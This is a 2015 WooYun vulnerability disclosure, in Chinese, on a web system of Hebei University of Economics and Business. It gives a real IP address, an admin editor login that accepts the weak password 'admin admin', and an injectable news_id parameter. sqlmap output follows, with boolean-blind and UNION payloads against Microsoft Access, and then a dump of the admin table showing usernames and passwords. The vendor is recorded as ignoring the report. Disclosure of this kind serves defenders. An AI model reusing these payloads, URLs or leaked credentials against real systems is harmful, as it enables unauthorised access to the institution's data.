当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0124118

漏洞标题：河北经贸大学某学员注入&后台弱口令

相关厂商：河北经贸大学

漏洞作者： 路人甲

提交时间：2015-07-02 15:14

修复时间：2015-07-07 15:16

公开时间：2015-07-07 15:16

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-02： 细节已通知厂商并且等待厂商处理中
2015-07-07： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

小洞

详细说明：

1.编辑器弱口令
http://124.239.192.65/erp/shadmin/editpage/Admin_Login.asp?action=login
admin admin
2.注入
http://124.239.192.65/zsjy/zpxx_0.asp?news_id=1

sqlmap identified the following injection points with a total of 28 HTTP(s) requests:
---
Parameter: news_id (GET)
    Type: boolean-based blind
    Title: Microsoft Access boolean-based blind - Parameter replace (original value)
    Payload: news_id=IIF(8731=8731,1,1/0)
    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: news_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(107)&CHR(106)&CHR(112)&CHR(113)&CHR(112)&CHR(112)&CHR(108)&CHR(87)&CHR(73)&CHR(121)&CHR(111)&CHR(105)&CHR(68)&CHR(108)&CHR(113)&CHR(98)&CHR(122)&CHR(107)&CHR(113) FROM MSysAccessObjects%16
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: news_id (GET)
    Type: boolean-based blind
    Title: Microsoft Access boolean-based blind - Parameter replace (original value)
    Payload: news_id=IIF(8731=8731,1,1/0)
    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: news_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(107)&CHR(106)&CHR(112)&CHR(113)&CHR(112)&CHR(112)&CHR(108)&CHR(87)&CHR(73)&CHR(121)&CHR(111)&CHR(105)&CHR(68)&CHR(108)&CHR(113)&CHR(98)&CHR(122)&CHR(107)&CHR(113) FROM MSysAccessObjects%16
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
Database: Microsoft_Access_masterdb
[2 tables]
+-------+
| admin |
| news  |
+-------+

漏洞证明：

2.png


Database: Microsoft_Access_masterdb
Table: admin
[2 entries]
+----+------+-----------+----------+
| id | data | user      | password |
+----+------+-----------+----------+
| 1  | <blank> | ad`in     | jyb_yuan |
| 2  | <blank> | admin_qin | jyb_qin  |
+----+------+-----------+----------+

修复方案：

1.加固弱口令
2.过了特殊字符

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-07-07 15:16

厂商回复：

最新状态：

暂无